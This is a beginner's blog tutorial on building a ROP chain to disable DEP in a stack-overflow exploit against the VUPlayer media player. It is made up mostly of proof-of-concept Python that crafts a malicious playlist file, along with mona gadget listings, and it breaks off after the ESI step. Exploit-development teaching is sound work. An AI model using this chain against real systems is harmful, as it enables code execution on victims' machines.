Creating Win32 ROP Chains
Introduction
Continuing with the Windows exploit development our next stop is learning how to craft ROP chains. In the context of this blogpost we will be using them to disable DEP and execute shellcode on the stack; however, ROP chains are extremely versatile and in different contexts can be very powerful. Obviously stack based overflows aren’t a very common bug class these days compared to 10 years ago, but this will allow us to use concepts we’re familiar with (stack overflows) to learn concepts that are new to us (ROP chains).
ROP Chains
ROP stands for Return Oriented Programming. Essentially what we’re doing is placing pointers to instructions on the stack, having execution follow those pointers to execute the instructions at that location and then execution returns to the stack to the next pointer.
The reason this behavior is desirable is because when Data Execution Prevention (DEP) is enabled, we are typically unable to execute code in any section of memory that doesn’t explicitly contain executable instructions. This means our traditional stack based overflow attacks won’t work as we cannot execute shellcode on the stack.
This is where the power of ROP comes into play. We uses tiny sections of existing code in the target program that are punctuated in sequence by a RETN
instruction (called ‘gadgets’) and piece them together to make a function call which disables DEP. We can then run our shellcode on the stack as we’re used to.
Required Reading
Corelan has essentially written a manifesto on DEP and Win32 ROP chains here. Nothing I say or do in this blog is new or groundbreaking, I’m simply recapitulating the ROP learning process for beginners like myself interested in taking their Windows game further and documenting my work for my own reference.
FuzzySec also has a phenomenal post here as part of their Tutorials series, which also does a great job of walking through the reasoning and logic behind ROP chains.
You need to read and understand these blog posts very well in order to keep up. I will do my best to step through the process with the reader; however, it’s always best to consult multiple sources and Corelan and Fuzzy are much more experienced and knowledgeable than I am.
Seriously, go read those two blogs, like now.
Getting Started
In order to save time from scanning through Exploit DB for a suitable POC and recreating the exploit, I found this blog post by Steven Patterson and used the same vulnerable program. We will not be consulting the blog post for help on our ROP chain, simply using the same vulnerable program which you can download from ExploitDB. Afterwards, we can compare ROP chains and see if there were any areas we could’ve been more efficient.
Our starting POC should look something like this:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
fuzz = "A" * 1012
fuzz += "B" * 4
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
This code will create a file vuplayer-dep.m3u
. Launch the player in Immunity, you’ll get some warnings referencing breakpoints, this is normal just click through them. Drag your newly created file into the program GUI and it should crash overwriting EIP with 42424242
.
Great, we control EIP. Next we need to pass execution the code we’re going to overwrite the stack with. For this, we will simply use a RETN
instruction. We need one that is not ASLR enabled, so let’s go ahead and get mona.py
out and check the modules with a !mona modules
command. There are several modules in the output which do not have ASLR enabled, namely: BASSWMA.dll
, BASSMIDI.dll
, and BASS.dll
.
In Immunity, we can right click in the disassembler pane, the top left, and hit Search for
> All Commands in all modules
> RETN
> Find
. Scroll until you locate a suitable RETN
instruction in one of the three aformentioned modules. For this blogpost, I will be using the RETN
located at 0x10101008
. (Go ahead and check it!)
So we input this address into our POC.
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
For all of our checking in this blogpost, the way I do it in Immunity is to open the MP3 player in the debugger, start it, go to the address of our RETN
we know we’ll be hitting every time, set a breakpoint.
As you can see, we’ve hit our breakpoint and the stack looks perfect. EIP is at our RETN
address and immediately after the pointer to our RETN
function we see our C
buffer where will we place additional pointers to ROP ‘gadgets’.
API Calls To Disable DEP
There are apparently a lot of different ways to disable DEP. FuzzySec has a nice chart on his blogpost so definitely check that out. We will use mona.py
to determine what API call pointers we have access to that we can use to disable DEP with the command !mona ropfunc
. This will output the results to ropfunc.txt
.
ropfunc.txt
0x00501a7c : msvcrt!strncpy | 0x75b808a9 | startnull,asciiprint,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501150 : kernel32!freelibrary | 0x7569f137 | startnull,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x005011f0 : kernel32!getprocaddress | 0x7569ce64 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x10109268 : kernel32.getmodulehandlea | 0x7569dac3 | {PAGE_EXECUTE_READWRITE} [BASSWMA.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSWMA.dll)
0x1060e254 : kernel32.getmodulehandlea | 0x7569dac3 | {PAGE_EXECUTE_READWRITE} [BASSMIDI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSMIDI.dll)
0x1004027c : kernel32.getmodulehandlea | 0x7569dac3 | ascii {PAGE_EXECUTE_READWRITE} [BASS.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASS.dll)
0x1010926c : kernel32.getprocaddress | 0x7569ce64 | {PAGE_EXECUTE_READWRITE} [BASSWMA.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSWMA.dll)
0x1060e258 : kernel32.getprocaddress | 0x7569ce64 | {PAGE_EXECUTE_READWRITE} [BASSMIDI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSMIDI.dll)
0x10040280 : kernel32.getprocaddress | 0x7569ce64 | {PAGE_EXECUTE_READWRITE} [BASS.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASS.dll)
0x005011dc : kernel32!getmodulehandlea | 0x7569dac3 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x005011fc : kernel32!lstrcpyna | 0x756890f9 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501020 : bass!bass_streamcreatefile | 0x100106e3 | startnull,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501200 : kernel32!createfilea | 0x7569ec31 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501c18 : comdlg32!getopenfilenamea | 0x75c9a2a9 | startnull,asciiprint,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x005011d0 : kernel32!getlasterror | 0x7569cfb0 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x005011d4 : kernel32!createmutexa | 0x7569d9a4 | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501abc : msvcrt!memmove | 0x75b79e5a | startnull {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x10109270 : kernel32.virtualprotect | 0x75692e1d | {PAGE_EXECUTE_READWRITE} [BASSWMA.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSWMA.dll)
0x1060e25c : kernel32.virtualprotect | 0x75692e1d | {PAGE_EXECUTE_READWRITE} [BASSMIDI.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASSMIDI.dll)
0x10040284 : kernel32.virtualprotect | 0x75692e1d | {PAGE_EXECUTE_READWRITE} [BASS.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.3 (C:\Program Files\VUPlayer\BASS.dll)
0x00501214 : kernel32!lstrcpya | 0x7569a7df | startnull,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
0x00501154 : kernel32!loadlibrarya | 0x7569de35 | startnull,ascii {PAGE_READONLY} [VUPlayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.49 (C:\Program Files\VUPlayer\VUPlayer.exe)
Ordinarily, since they persist across the most versions of Windows, I’d like to either use VirtualProtect
or VirtualAlloc
. It looks like we only have pointers for VirtualProtect
available to us, so that will be our weapon of choice. I used the pointer at 0x1060e25c
.
Now that we have our function picked out, let’s look at the values we need to call it and what it actually does. Consulting the MSDN documentation and FuzzySec’s blogpost we see the function definition and required paramters as follows:
Structure: Parameters:
BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect()
_In_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize up to you to chose as needed (0x201)
_In_ DWORD flNewProtect, => flNewProtect (0x40)
_Out_ PDWORD lpflOldProtect => A writable pointer
);
This is extremely helpful. Since we’re working with a stack, we know we’ll need to put these parameters on the stack in reverse order. Our plan of attack will roughly look like this:
- Load registers strategically with parameters we need
- call a
PUSHAD
to push all of the register values onto the stack at once
Considering all of these facts, our goals can be summarized as thus following from what FuzzySec writes about the goals of his VirtualAlloc
call:
GOALS
EAX 90909090 => Nop
ECX <writeable pointer> => lpflOldProtect
EDX 00000040 => flNewProtect
EBX 00000201 => dwSize
ESP ???????? => Leave as is
EBP ???????? => Call to ESP (jmp, call, push,..)
ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
EDI 10101008 => ROP-Nop same as EIP
VirtualProtect
has different parameters but overall, it is very similar to VirtualAlloc
so we can adjust the goals outlined in FuzzySec’s blogpost subtly.
The value for the dwSize
parameter was automatically chosen by a mona operation at some point it is more than enough space (513 bytes) for our calculator shellcode so I just left it.
Let’s go ahead and add these to our POC to keep us organized.
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop
# ECX <writeable pointer> => lpflOldProtect
# EDX 00000040 => flNewProtect
# EBX 00000201 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
Let’s just knock all of these goals out in order starting with the EAX goal. Before we start digging through Immunity manually, we’ll let Mona do the heavy lifting with !mona rop -m "basswma,bassmidi,bass"
. This will generate two files of interest to us: rop.txt
and rop_suggestions.txt
.
rop.txt
is simply a huge list of ROP gadgets at our disposal.
rop_suggestions.txt
is a smaller, more organized list of shorter gadgets that fit specific needs. If you specifically wanted to do something relatively simple and common, such as INC EAX
you would check rop_suggestions.txt
for those types of gadets.
We will be consulting these two text files constantly!
EAX ROP Chain
Looking at our goals, EAX needs to hold the value 90909090
. This is relatively straight forward. What we can do is put the value 0x90909090
onto the stack, and then POP
that value into EAX. So we need to find a pop eax
instruction. Since this is a simple command, let’s first consult rop_suggestions.txt
.
There is a section labeled [pop eax]
with the following:
[pop eax]
0x10104922 (RVA : 0x00004922) : # POP EAX # RETN 0x0C ** [BASSWMA.dll] ** | ascii {PAGE_EXECUTE_READWRITE}
0x100201c3 (RVA : 0x000201c3) : # POP EAX # RETN 0x0C ** [BASS.dll] ** | {PAGE_EXECUTE_READWRITE}
0x10015fe7 (RVA : 0x00015fe7) : # POP EAX # RETN ** [BASS.dll] ** | {PAGE_EXECUTE_READWRITE}
0x10015f82 (RVA : 0x00015f82) : # POP EAX # RETN ** [BASS.dll] ** | {PAGE_EXECUTE_READWRITE}
0x10607f6f (RVA : 0x00007f6f) : # POP EAX # RETN 0x0C ** [BASSMIDI.dll] ** | ascii {PAGE_EXECUTE_READWRITE}
0x1001fc83 (RVA : 0x0001fc83) : # POP EAX # RETN 0x04 ** [BASS.dll] ** | {PAGE_EXECUTE_READWRITE}
0x10015f77 (RVA : 0x00015f77) : # POP EAX # RETN ** [BASS.dll] ** | ascii {PAGE_EXECUTE_READWRITE}
Since we don’t want to deal with non-default RETN
values when possible, let’s select a simple gadget such as the one at 0x10015fe7
.
We have our two pieces, the value we want POP’d into EAX, and a gadget to do the POP’ing. Let’s set them up in our POC.
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop
# ECX <writeable pointer> => lpflOldProtect
# EDX 00000040 => flNewProtect
# EBX 00000201 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
EAX, when this is run, will now hold the value 0x90909090
. Let’s test it out by adding the variable eax
to our rop
variable and running it. POC looks like this now:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop
# ECX <writeable pointer> => lpflOldProtect
# EDX 00000040 => flNewProtect
# EBX 00000201 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
rop = eax
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
We run it, using our aforementioned test method and stepping through it, and we see that EAX now holds 90909090
.
I won’t be testing each gadget going forward, it’s incumbent upon the reader to develop troubleshooting skills on their own.
We can now add {COMPLETED}
to our goals in our exploit POC so we can keep track of our progress. Onto the next goal!
ECX ROP Chain
Looking at our goals, we need ECX to just hold a pointer to a writable location. Please read more on lpflOldProtect
and why the parameter is this way. Is it an input parameter or an output parameter?
This is very similar to our last gadget. Let’s put the value we need onto the stack and then POP
it into ECX. I looked at the 3 modules we’re using in Immunity and arbitrarily picked a location within BASSWMA.dll
which was marked RWX
so I know we have write privileges to it (0x101053dc
).
Next, consult rop_suggestions.txt
for a good pop ecx
instruction.
In the end, we can update our POC with our new gadget as follows:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect
# EBX 00000201 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
You can see I’m annotating at the beginning of each gadget section what registers the gadget affects, this will come in handy later when we’re determining what order the gadgets should be executed. For example, we wouldn’t want to use a gadget that sets EAX and then when a subsequent gadget which sets EDI also happens to affect EAX is used it ruins our EAX value. Just another thing that keeps us organized when the code can get quite complex. Go look at some DEP bypass exploit POCs on ExploitDB, you’ll understand ;)
ECX crushed, moving onto the next goal!
EDX ROP Chain
This is the first fun one, how do we get EDX to hold the value 0x40
? After sifting through a bunch of gadgets, I couldn’t really find a good series of gadgets to directly influence EDX in an efficient manner. When this happens, I often start looking at ways to manipulate other registers and then somehow move that value into EDX.
I started looking at EAX. First, is there a way to cleanly get the EAX value into EDX? Why yes there is, an extremely clean way! I found this gadget # XCHG EAX,EDX # RETN
at 0x10038a6c
. So if we can manipulate EAX into holding 0x40
we have a gadget in our pocket to get that value into EDX.
So I started looking at ways to clear EAX. I want EAX to always start zeroed out so that I know the code is reliable. The first thing I searched for ended up hitting, an # XOR EAX,EAX # RETN
gadget located at 0x106074f8
. This is great, this will zero out the EAX register.
Now, I need a way to add to the EAX register. A trick from the FuzzySecurity blog is to set the register at 0xffffffff
with a simple POP
like we’ve been doing and then increment it until it reaches the value of 0x2
. Then we could add it against itself with ADD EAX,EAX
instruction, essentially doubling the register until it reaches 64
decimcal (0x40
in hex); however, there is no ADD EAX,EAX
gadget in our modules, womp womp.
BUT, there is a really cool and clean # ADD EAX,4 # RETN
gadget! We can just throw this gadget on the stack over and over until EAX holds 0x40
.
So to wrap up we’re going to:
- zero out EAX
- add 4 to EAX until it reaches
0x40
- swap values between EAX and EDX so that EDX holds our goal value
Let’s update our POC with our new gadget chain:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect {COMPLETED}
# EBX 00000201 => dwSize
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
EDX crushed, moving on!
EBX ROP Chain
Another fun one, this time we have to get 0x201
into EBX. Same thing again, couldn’t find a nice way to do it directly with EBX; however, EAX comes to the rescue again.
Before we get carried away, let’s make sure we can cleanly get the value of EAX into EBX. Sifting through our two text files, I was able to find this gadget # XCHG EAX,EBX # RETN 0x00
at 0x10032f32
. Awesome, let’s proceed!
This time, I got more creative and was able to find an # XOR EAX,994803BD # RETN
gadget that was XOR’ing EAX against a static value located at 0x1003a074
. The great thing about this is that when it comes to XOR, the following is true:
a XOR b
=c
b XOR c
=a
c XOR a
=b
So since we know one variable, the static value being XOR’d (0x994803BD
), and we know a second variable, our desired 0x201
outcome, we already know the third variable!
Let’s use an online calculator to figure it out.
As you can see, our third variable is 0x994801bc
. If we XOR this against the static value, the outcome should be 0x201
!
In summary we are going to:
- POP
0x994801bc
into EAX - XOR EAX with
0x994803BD
giving us an EAX value of0x201
- swap EAX and EBX so that EBX holds our desired goal value
Let’s add this chain to our POC, which now looks like this:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect {COMPLETED}
# EBX 00000201 => dwSize {COMPLETED}
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..)
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
# EBX Chunk Affects: EAX, EBX
ebx = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
ebx += struct.pack('<L', 0x994801bc) # once XOR'd w the static value 994803BD, this will result in 0x201
ebx += struct.pack('<L', 0x1003a074) # a pointer to # XOR EAX,994803BD # RETN
ebx += struct.pack('<L', 0x10032f32) # a pointer to # XCHG EAX,EBX # RETN 0x00
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
To the astute reader: now that you’ve seen the static XOR gadget for EAX, is there a more efficient way we could’ve approached our EDX chain?
EBX chain crushed, moving on!
EBP ROP Chain
Looking at our goals, we need EBP to point to a jmp esp
type instruction. I used mona to find such an instruction at 0x1010539f
, now we just need a gadget to pop it into EBP.
I found such a gadget at 0x10017c0d
: # POP EBP # RETN 0x04
. Because it’s a RETN 0x04
instead of a normal RETN
, I used two more RETN
gadgets (ROP NOPs) as filler so that my chain would continue working as intended, this just required some trial and error, I recommend trying it without the filler and seeing what happens.
This one was relatively straightforward, just POP’ing the desired value into the register and then adding filler to compensate for the non-defaul RETN
.
Updated POC:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect {COMPLETED}
# EBX 00000201 => dwSize {COMPLETED}
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..) {COMPLETED}
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
eax = struct.pack('<L', 0x10015fe7) # a pointer to # POP EAX # RETN
eax += struct.pack('<L', 0x90909090)
# ECX Chunk Affects: ECX
ecx = struct.pack('<L', 0x10601007) # a pointer to # POP ECX # RETN
ecx += struct.pack('<L', 0x101053DC) # found a spot in the RWX space of BASSWMA.dll for our writable pointer
# EDX Chunk Affects: EAX, EDX
edx = struct.pack('<L', 0x106074f8) # a pointer to # XOR EAX,EAX # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10014474) # a pointer to # ADD EAX,4 # RETN
edx += struct.pack('<L', 0x10038a6c) # a pointer to # XCHG EAX,EDX # RETN
# EBX Chunk Affects: EAX, EBX
ebx = struct.pack('<L', 0x10015fe7) # a pointer to a # POP EAX # RETN
ebx += struct.pack('<L', 0x994801bc) # once XOR'd w the static value 994803BD, this will result in 0x201
ebx += struct.pack('<L', 0x1003a074) # a pointer to # XOR EAX,994803BD # RETN
ebx += struct.pack('<L', 0x10032f32) # a pointer to # XCHG EAX,EBX # RETN 0x00
# EBP Chunk Affects: EBP
ebp = struct.pack('<L', 0x10017c0d) # a pointer to a # POP EBP # RETN 0x04
ebp += struct.pack('<L', 0x1010539F) # pointer to JMP ESP
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack('<L', 0x10101008) # pointer to a ROP NOP to compensate for the RETN 0x04
rop = ""
fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" # 10101008 <-- Pointer to a RETN
fuzz += rop
fuzz += "C" * (3000 - len(fuzz))
makedafile = open(crash_file, "w")
makedafile.write(fuzz)
makedafile.close()
Crushed, onto next goal.
ESI ROP Chain
Looking at our goals from FuzzySec, we need ‘PTR to VirtualProtect - DWORD PTR of 0x1060E25C’ in ESI. This means, we have the memory address of the API call to VirtualProtect
, but we need the DWORD
value stored there, not just the address. I struggled to find good gadgets for ESI operations, but once again, I resorted to using EAX.
Getting a pointer to the memory address into EAX is easy, we’ll just POP 0x1060E25C
into it. After that, we’ll need a gadget that loads the content of [EAX]
into EAX
. One such gadget exists at 0x1001eaf1
. Luckily I faced a similar situation before this walking through my first exploit with the FuzzySec example and knew what kind of gadget to target first and found it right away. We can then end the chain with a gadget stored at 0x10030950
which does an # XCHG EAX,ESI # RETN
.
In summary for this one, we are:
POP
pointer to API into EAX- move the
DWORD
value held at the address into EAX - exchange EAX and ESI
Updated POC:
import sys
import struct
import os
crash_file = "vuplayer-dep.m3u"
# GOALS
# EAX 90909090 => Nop {COMPLETED}
# ECX <writeable pointer> => lpflOldProtect {COMPLETED}
# EDX 00000040 => flNewProtect {COMPLETED}
# EBX 00000201 => dwSize {COMPLETED}
# ESP ???????? => Leave as is
# EBP ???????? => Call to ESP (jmp, call, push,..) {COMPLETED}
# ESI ???????? => PTR to VirtualProtect - DWORD PTR of 0x1060E25C {COMPLETED}
# EDI 10101008 => ROP-Nop same as EIP
# EAX Chunk Affects: EAX
